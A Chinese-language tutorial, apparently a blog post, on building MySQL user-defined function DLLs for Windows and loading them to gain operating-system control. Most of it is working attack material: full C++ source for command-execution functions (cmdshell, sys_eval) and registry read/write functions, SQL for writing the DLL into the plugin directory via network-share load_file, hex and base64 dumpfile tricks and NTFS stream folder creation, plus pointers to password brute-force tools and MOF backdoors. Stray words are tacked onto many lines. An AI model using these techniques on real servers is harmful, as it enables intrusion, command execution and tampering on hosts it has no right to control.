一、MySQL UDF是什麼
UDF是Mysql提供給用戶實現本身功能的一個接口,爲了使UDF機制起做用,函數必須用C或C ++編寫,而且操做系統必須支持動態加載。這篇文章主要介紹UDF開發和利用的方法。php
二、UDF開發
操做系統:Windows 10html
測試環境:PHPStudy+Mysql 5.5(x64)python
編譯器:VS2015mysql
2.1 編譯器方法
- MySQL源碼包
從MySQL官網下載對應版本的源碼包,把MySQL對應版本的源碼下載回來。將include文件夾和lib文件夾解壓至C++項目路徑。c++
http://mirror.yandex.ru/mirrors/ftp.mysql.com/Downloads/MySQL-5.5/mysql-5.5.59-winx64.zipgit
-
VS2015配置-項目屬性github
將MySQL的include、lib文件夾放到C++項目路徑後。屬性配置以下:sql
- include:VC++目錄->包含目錄->添加include目錄
- lib:VC++目錄->庫目錄->添加lib目錄
- libmysql.lib:連接器->附加依賴項->添加libmysql.lib
2.2 調試方法
UDF在程序代碼中加入調試OutputDebugStringA();就能夠輸出調試的信息了。在每一個分支都輸出相對應的調試信息,就能夠獲取當前運行的狀態。shell
OutputDebugStringA("--UDF:my_name()被調用");
2.3 使用UDF擴展
// 註冊函數 CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c++.dll"; // 卸載函數 Drop function about; // 使用函數 select about(); // 驗證 select * from mysql.func where name = 'cmdshell';
2.4 CPP源碼思路
- 執行CMDSHELL 使用方式:
# 建立cmdshell函數 CREATE FUNCTION cmdshell RETURNS int SONAME "mysql_udf_c++.dll"; # 執行shell函數,若是不加路徑默認路徑在mysql的data目錄下。例如:"D:\phpStudy\MySQL\data\helllo.txt" select cmdshell("echo hello>>helllo.txt"); # 註銷cmshell這個函數 Drop function cmdshell;
CPP源碼以下:ubuntu
#include <winsock.h> #include <mysql.h> #ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <windows.h> #include <lm.h> //--------cmdshell extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { //參數長度 unsigned int i = 0; if (args->arg_count == 1 && args->arg_type[i] == STRING_RESULT) { // 返回正常 return 0; } else { strcpy( message , "Expected exactly one string type parameter" ); //執行失敗 return 1; } } extern "C" __declspec(dllexport)my_ulonglong cmdshell(UDF_INIT *initid, UDF_ARGS *args, char *result, char *error) { // 利用sysytem函數執行命令 // 執行「net user >> hello.txt」命令,實際路徑爲D:\phpStudy\MySQL\data\hello.txt // 執行數字例如:select cmdshell("1");就會致使MySQL結束服務。 return system(args->args[0]); } extern "C" __declspec(dllexport)void cmdshell_deinit( UDF_INIT *initid) { if (initid->ptr) { free(initid->ptr); } }
- 回顯shell
回顯shell編寫嘗試,跟沒有回顯的shell執行命令是同樣的原理。 核心原理是建立一個管道,把命令結果輸入管道讀取出來後關閉管道。
使用方式:
# 建立sys_eval函數 CREATE FUNCTION sys_eval RETURNS string SONAME "mysql_udf_c++.dll"; # 執行shell函數,若是不加路徑默認路徑在mysql的data目錄下。例如:"D:\phpStudy\MySQL\data\helllo.txt" select sys_eval("echo hello>>helllo.txt"); # 註銷cmshell這個函數 Drop function sys_eval;
CPP源碼以下:
#include <winsock.h> #include <mysql.h> #ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <windows.h> #include <lm.h> //-------- extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { //參數長度 unsigned int i = 0; if (args->arg_count == 1 && args->arg_type[i] == STRING_RESULT) { return 0; } else { strcpy( message , "Expected exactly one string type parameter" ); return 1; } } extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error) { FILE *pipe; char buff[1024]; unsigned long outlen, linelen; // 開闢內存 result = (char*)malloc(sizeof(char)); outlen = 0; // 建立管道 pipe = _popen(args->args[0], "r"); // 讀取管道數據 while (fgets(buff, sizeof(buff), pipe) != NULL) { linelen = strlen(buff); result = (char*)realloc(result, outlen + linelen); // 把管道內容拷貝進返回結果裏 strncpy(result + outlen, buff, linelen); outlen = outlen + linelen; } // 關閉管道 _pclose(pipe); // 當*is_null被設置爲1時,返回值爲NULL if (!(*result) || result == NULL) { *is_null = 1; } else { result[outlen] = 0x00; *length = strlen(result); } // 返回結果 return result; } extern "C" __declspec(dllexport)void sys_eval_deinit( UDF_INIT *initid) { if (initid->ptr) { free(initid->ptr); } }
- 註冊表操做
核心代碼主要是如下幾個註冊表操做相關的API實現的
RegQueryInfoKey RegEnumValue RegQueryValueEx RegCloseKey RegCreateKeyEx RegSetValueEx RegCloseKey
-
- 註冊表讀取
使用方式:
# 建立regread函數 CREATE FUNCTION regread RETURNS string SONAME "mysql_udf_c++.dll"; # 執行regread函數 select regread("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","Start Page"); # 註銷regread這個函數 Drop function regread;
CPP源碼以下:
#include <winsock.h> #include <mysql.h> #include <stdio.h> #include <windows.h> #define MAX_KEY_LENGTH 255 #define MAX_VALUE_NAME 16383 //-------- extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { //判斷參數是否正確,三個參數必須是字符串 if (args->arg_type[0] == STRING_RESULT && // 主鍵 args->arg_type[1] == STRING_RESULT && // 鍵項 args->arg_type[2] == STRING_RESULT // 鍵值 ) { return 0; } else { strcpy( message , "Expected exactly Three string type parameter" ); return 1; } } extern "C" __declspec(dllexport)char* regread(UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error) { HKEY hRoot; // 判斷根鍵 if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0) hRoot = HKEY_LOCAL_MACHINE; else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0) hRoot = HKEY_CLASSES_ROOT; else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0) hRoot = HKEY_CURRENT_USER; else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0) hRoot = HKEY_USERS; else { initid->ptr = (char *)malloc(50 + strlen((args->args)[0])); sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]); *length = strlen(initid->ptr); return initid->ptr; } // 判斷根鍵存不存在 // 編碼轉換 char轉wchar int len = MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0); wchar_t* m_wchar = new wchar_t[len + 1]; MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), m_wchar, len); m_wchar[len] = '\0'; HKEY aTestKey = NULL; DWORD dwType = REG_SZ; if (RegOpenKeyEx(hRoot, m_wchar, 0, KEY_READ, &aTestKey) != ERROR_SUCCESS ) { initid->ptr = (char *)malloc(50 + strlen((args->args)[1])); sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]); *length = strlen(initid->ptr); return initid->ptr; } // 查詢鍵項目 TCHAR achClass[MAX_PATH] = TEXT(""); // 指定一個字串,用於裝載這個註冊表項的類名 DWORD cchClassName = MAX_PATH; // 指定一個變量,用於裝載lpClass緩衝區的長度。一旦返回,它會設爲實際裝載到緩衝區的字節數量 DWORD cSubKeys = 0; // 子鍵的數目 DWORD cbMaxSubKey; // 設置最大子鍵長度 DWORD cchMaxClass; // 指定一個變量,用於裝載這個項之子項的最長一個類名的長度 DWORD cValues; // 用於裝載這個項的設置值數量的一個變量 DWORD cchMaxValue; // value的最長名字 DWORD cbMaxValueData; // value的最長數據 DWORD cbSecurityDescriptor; // 安全描述符的大小 FILETIME ftLastWriteTime; // 上次寫入的時間 DWORD i, retCode; DWORD dwSize; TCHAR *wStr = new TCHAR[MAX_VALUE_NAME]; TCHAR achValue[MAX_VALUE_NAME]; TCHAR data[MAX_VALUE_NAME]; DWORD cchValue = MAX_VALUE_NAME; DWORD dBufSize; //返回結果長度 // Get the class name and the value count. retCode = RegQueryInfoKey( aTestKey, // 主鍵句柄 achClass, // 指定一個字串,用於裝載這個註冊表項的類名 &cchClassName, // 指定一個變量,用於裝載lpClass緩衝區的長度。一旦返回,它會設爲實際裝載到緩衝區的字節數量 NULL, // reserved &cSubKeys, // 用於裝載(保存)這個項的子項數量的一個變量 &cbMaxSubKey, // 指定一個變量,用於裝載這個項最長一個子項的長度。注意這個長度不包括空停止字符 &cchMaxClass, // 指定一個變量,用於裝載這個項之子項的最長一個類名的長度 &cValues, // 用於裝載這個項的設置值數量的一個變量 &cchMaxValue, // 指定一個變量,用於裝載這個項之子項的最長一個值名的長度 &cbMaxValueData, // 指定一個變量,用於裝載容下這個項最長一個值數據所需的緩衝區長度 &cbSecurityDescriptor, // 裝載值安全描述符長度的一個變量 &ftLastWriteTime); // 指定一個結構,用於容納該項的上一次修改時間 // 枚舉鍵值. // 匹配出對應的值 if (cValues) { for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++) { cchValue = MAX_VALUE_NAME; dwSize = MAX_VALUE_NAME; achValue[0] = '\0'; data[0] = '\0'; retCode = RegEnumValue(aTestKey, i, wStr, &cchValue, NULL, NULL, NULL, NULL); RegQueryValueEx(aTestKey, wStr, NULL, &dwType, (LPBYTE)data, &dwSize); // 編碼轉換 char轉wchar int len = MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), NULL, 0); wchar_t* m_wchar = new wchar_t[len + 1]; MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), m_wchar, len); m_wchar[len] = '\0'; if (retCode == ERROR_SUCCESS && wcscmp(wStr, m_wchar) == 0) { //printf("\n鍵名:%ls\n鍵值:%ls", wStr, data); //獲取轉換所需的目標緩存大小 dBufSize = WideCharToMultiByte(CP_OEMCP, 0, data, -1, NULL, 0, NULL, FALSE); //分配目標緩存 result = new char[dBufSize]; memset(result, 0, dBufSize); //轉換 int nRet = WideCharToMultiByte(CP_OEMCP, 0, data, -1, result, dBufSize, NULL, FALSE); } } } delete[]wStr; RegCloseKey(aTestKey); // 當*is_null被設置爲1時,返回值爲NULL if (!(*result) || result == NULL) { *is_null = 1; } else { result[dBufSize] = 0x00; *length = strlen(result); } // 返回結果 return result; } extern "C" __declspec(dllexport)void regread_deinit( UDF_INIT *initid) { if (initid->ptr) { free(initid->ptr); } }
-
- 註冊表寫入 使用方式:
# 建立regread函數 CREATE FUNCTION regwrite RETURNS string SONAME "mysql_udf_c++.dll"; # 執行regread函數 select regwrite("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","test","www.baidu.com"); # 註銷regread這個函數 Drop function regwrite;
CPP源碼以下:
#include <winsock.h> #include <mysql.h> #include <stdio.h> #include <windows.h> //-------- extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { //判斷參數是否正確,三個參數必須是字符串 if (args->arg_type[0] == STRING_RESULT && // 主鍵 args->arg_type[1] == STRING_RESULT && // 鍵項 args->arg_type[2] == STRING_RESULT && // 鍵 args->arg_type[3] == STRING_RESULT // 寫入的值 ) { return 0; } else { strcpy( message , "Expected exactly four string type parameter" ); return 1; } } extern "C" __declspec(dllexport)char* regwrite(UDF_INIT *initid , UDF_ARGS *args , char* result , unsigned long* length , char *is_null , char *error) { HKEY hRoot; // 判斷根鍵 if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0) hRoot = HKEY_LOCAL_MACHINE; else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0) hRoot = HKEY_CLASSES_ROOT; else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0) hRoot = HKEY_CURRENT_USER; else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0) hRoot = HKEY_USERS; else { initid->ptr = (char *)malloc(50 + strlen((args->args)[0])); sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]); *length = (unsigned long)strlen(initid->ptr); return initid->ptr; } HKEY hKey; DWORD dwType = REG_SZ; // 打開註冊表鍵,不存在則建立它 // 判斷根鍵存不存在 // szSubKey編碼轉換 char轉wchar int szSubKey_len = (int)MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0); wchar_t* szSubKey = new wchar_t[szSubKey_len + 1]; MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), szSubKey, szSubKey_len); szSubKey[szSubKey_len] = '\0'; size_t lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); if (lRet != ERROR_SUCCESS) { initid->ptr = (char *)malloc(50 + strlen((args->args)[1])); sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]); *length = (unsigned long)strlen(initid->ptr); return initid->ptr; } // 修改註冊表鍵值,沒有則建立它 // ValueName修改的鍵項轉換 char轉wchar int ValueName_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), NULL, 0); wchar_t* ValueName = new wchar_t[ValueName_len + 1]; MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), ValueName, ValueName_len); ValueName[ValueName_len] = '\0'; //// 註冊表鍵值編碼轉換 char轉wchar int data_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), NULL, 0); wchar_t* data = new wchar_t[data_len + 1]; MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), data, data_len); data[data_len] = '\0'; // 計算寬字節的長度 DWORD iLen = (DWORD)wcslen(data); //註冊表鍵值修改 lRet = RegSetValueEx(hKey, ValueName, 0, dwType, (unsigned char*)data, sizeof(wchar_t)*data_len); if (lRet != ERROR_SUCCESS) { initid->ptr = (char *)malloc(50 + strlen((args->args)[2])); sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[2]); *length = (unsigned long)strlen(initid->ptr); return initid->ptr; } RegCloseKey(hKey); // 當*is_null被設置爲1時,返回值爲NULL if (!(*result) || result == NULL) { *is_null = 1; } else { sprintf(result, "success"); result[iLen] = 0x00; *length = strlen(result); } // 返回結果 return result; } extern "C" __declspec(dllexport)void regwrite_deinit( UDF_INIT *initid) { if (initid->ptr) { free(initid->ptr); } }
三、UDF加載方法
UDF有兩種加載方式,一種是修改修改MySQL配置文件。第二種則是將UDF放置在MySQL指定的插件目錄中加載。
3.1 修改MySQL配置文件
另外一種方法是用插件目錄編寫一個新的MySQL配置文件並將其傳遞給mysqld。
- 啓動參數配置
// 經過mysqld更改plugin的目錄位置 mysqld.exe –plugin-dir=C:\\temp\\plugins\\ // 編寫一個新的mysql配置文件,並經過–defaults-file參數將其傳遞給mysqld mysqld.exe --defaults-file=C:\temp\my.ini
- my.ini配置
[mysqld] plugin_dir = C:\\temp\\plugins\\
3.2 新建插件目錄
show variables like 'plugin_dir'; # 查看路徑 select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION'; # 新建目錄lib select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION'; # 新建目錄plugin
3.3 導出UDF文件置擴展目錄
-
load_file函數
-
- load_file函數支持網絡路徑,若是將DLL複製到網絡共享中,則能夠直接加載它並寫入磁盤。
select load_file('\\\\192.168.0.19\\share\\udf.dll') into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
- 用一個十六進制編碼的字符串將整個DLL文件寫入磁盤。
// 轉換爲hex函數 select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex"; // 導入 select 0x4d5a...... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
- 建立一個表並將二進制數據插入到十六進制編碼流中,其中的二進制數據用update語句來鏈接。
create table temp(data longblob); insert into temp(data) values (0x4d5a9....); update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
- 直接在磁盤上將文件從網絡共享加載到第三種方法建立的表中,使用「load data infile」語句在本地加載。像上圖所示將文件轉換爲十六進制,並在寫入磁盤時取消編輯。
load data infile '\\\\192.168.0.19\\share\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); select unhex(data) from temp into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';
- 使用MySQL 5.6.1和MariaDB 10.0.5中介紹的函數「to_base64」和「from_base64」上傳二進制文件。
# 轉換爲base64 select to_base64(load_file('D:\\udf.dll')); # base64導出爲DLL select from_base64("Base64編碼") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
四、Mysql弱口令
4.1 暴力破解程序
-
工具:hydra
-
CPP
用鏈表實現的MYSQL、MSSQL和oracle密碼暴破C程序
http://blog.51cto.com/foxhack/35604
- Python
https://github.com/chinasun021/pwd_crack/blob/master/mysql/mysql_crack.py
https://www.waitalone.cn/python-mysql-mult.html
- Go
https://github.com/netxfly/x-crack
4.2 MySQL口令加密解密
五、WEB組合利用
5.1 後門方法
導出Mof
5.2 WEB滲透測試擴展
php探針、PHPMyadmin
六、取證分析
// 查看系統信息 select @@version_compile_os,@@version_compile_machine,@@plugin_dir; // 查看加載的函數 select * from mysql.func;
七、參考
Mysql函數擴展之UDF開發
https://blog.csdn.net/albertsh/article/details/78567661
VS2015配置C/C++-MySQL開發環境
https://blog.csdn.net/daso_csdn/article/details/54646859
MySQL UDF(自定義函數)
https://www.cnblogs.com/raker/p/4377343.html
MySQL UDF的調試方式 - debugview https://blog.csdn.net/swotcoder/article/details/18527
詳詳詳解MySQL UDF執行命令
http://www.360doc.cn/article/31784658_733287732.html
利用MySQL UDF進行的一次滲透測試 https://m.sohu.com/a/224950139_354899/?pvid=000115_3w_a
24.4.2.2 UDF Calling Sequences for Aggregate Functions
https://dev.mysql.com/doc/refman/5.5/en/udf-aggr-calling.html
windows下編寫mysql UDF函數的失敗經歷,與ubuntu下的成功編譯經歷
https://blog.csdn.net/watch_ch/article/details/54015948
開源項目
https://github.com/mysqludf/lib_mysqludf_sys